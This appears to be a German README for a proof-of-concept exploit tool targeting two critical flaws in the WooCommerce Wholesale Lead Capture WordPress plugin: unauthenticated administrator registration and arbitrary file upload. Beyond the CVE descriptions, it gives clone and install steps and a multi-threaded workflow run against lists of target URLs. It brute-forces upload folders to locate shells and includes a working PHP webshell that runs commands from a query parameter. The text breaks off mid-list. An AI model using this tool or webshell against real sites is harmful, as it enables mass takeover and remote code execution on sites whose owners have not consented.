
Nicht authentifiziertes Privileg | Nicht authentifizierter beliebiger Datei-Upload
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-27542 |
| Schweregrad | KRITISCH — CVSS v3.1-Score: 9.8 |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Betroffene Komponente | WooCommerce Wholesale Lead Capture (WWLC)-Plugin für WordPress |
| Schwachstellentyp | Unauthentifizierte Privilegieneskalation |
| Erforderliche Authentifizierung | Keine |
| CWE | CWE-269: Improper Privilege Management |
Beschreibung:
Das WooCommerce Wholesale Lead Capture-Plugin für WordPress ist in allen bekannten betroffenen Versionen anfällig für eine unauthentifizierte Privilegieneskalation. Die Schwachstelle besteht im wwlc_create_user-AJAX-Aktionshandler, der Benutzerregistrierungsanfragen verarbeitet, ohne die vom Benutzer übermittelten Rollenfelder ausreichend zu bereinigen oder zu validieren. Ein entfernter, nicht authentifizierter Angreifer kann eine speziell gestaltete POST-Anfrage erstellen, die beliebige WordPress-Fähigkeitsfelder — einschließlich wp_capabilities[administrator] — direkt in die Benutzermetadaten zum Zeitpunkt der Kontenerstellung injiziert. Dadurch kann sich der Angreifer ohne vorherige Authentifizierung oder Interaktion eines legitimen Benutzers selbst als WordPress-Administrator registrieren, was zur vollständigen Kompromittierung der betroffenen WordPress-Installation führt.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-27540 |
| Schweregrad | KRITISCH — CVSS v3.1-Score: 9.8 |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Betroffene Komponente | WooCommerce Wholesale Lead Capture (WWLC)-Plugin für WordPress |
| Schwachstellentyp | Unauthentifizierter beliebiger Datei-Upload (führt zu Remote Code Execution) |
| Erforderliche Authentifizierung | Keine |
| CWE | CWE-434: Unrestricted Upload of File with Dangerous Type |
Beschreibung:
Das WooCommerce Wholesale Lead Capture-Plugin für WordPress ist in allen bekannten betroffenen Versionen anfällig für unauthentifizierten beliebigen Datei-Upload. Die Schwachstelle liegt in der AJAX-Aktion wwlc_file_upload_handler, die ohne jegliche Anforderung einer Authentifizierung oder Nonce-Überprüfung registriert ist. Durch das Übermitteln einer manipulierten Multipart-POST-Anfrage an /wp-admin/admin-ajax.php kann ein entfernter, nicht authentifizierter Angreifer Dateien beliebigen Typs — einschließlich PHP-Webshells — in das Verzeichnis wp-content/uploads/ des Servers unter einem dynamisch generierten Unterverzeichnis wwlc-temp-* hochladen. Eine erfolgreiche Ausnutzung führt zu Remote Code Execution (RCE) auf dem zugrunde liegenden Webserver, der als Webprozess-Benutzerkonto arbeitet.
Dies ist ein Proof-of-Concept (PoC)-Exploit-Skript für die beiden oben beschriebenen kritischen Schwachstellen, das auf WordPress-Installationen mit dem Plugin WooCommerce Wholesale Lead Capture abzielt. Das Tool unterstützt zwei unabhängige Angriffsmodi:
| Modus | Angriffsart | Ziel |
|---|---|---|
| Modus 1 | Unauthentifizierter beliebiger Datei-Upload + Brute-Force-Ordnererkennung | Eine PHP-Webshell hochladen und sie durch mehrschichtiges Raten des Ordnernamens finden |
| Modus 2 | Unauthentifizierte Privilegieneskalation über Registrierung | Sich selbst als WordPress-Administrator registrieren und den Admin-Zugriff verifizieren |
pip install requests urllib3 colorama
Oder Installation über die Anforderungsdatei:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
Das Tool bietet eine interaktive Terminaloberfläche. Sie werden zur Eingabe aller erforderlichen Parameter aufgefordert.
Erstellen Sie eine einfache Textdatei (z. B. list.txt) mit einer Ziel-URL pro Zeile:
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
Beispiel für die Shell-Datei (shell.php):
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
Hinweis: Der Ordner
wwlc-temp-*wird vom Plugin mithilfe der PHP-Funktionuniqid('wwlc-temp-')dynamisch generiert. Das Tool verwendet eine mehrschichtige Brute-Force-Strategie, um ihn zu finden:
Ebene Strategie Beschreibung 0 Verzeichnislisting Versucht, das Uploads-Verzeichnis aufzulisten, falls es offen ist 1 Musterbasiert Zeitbasiertes und sequenzielles numerisches Raten 2 Zeitbasiertes Hex Auf beobachteten Zeitstempeln von HTTP-Anfragen basierend 3 Zufälliges Hex Reines Raten zufälliger Hex-Strings
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
Das Tool führt folgende Schritte aus:
administrator injiziert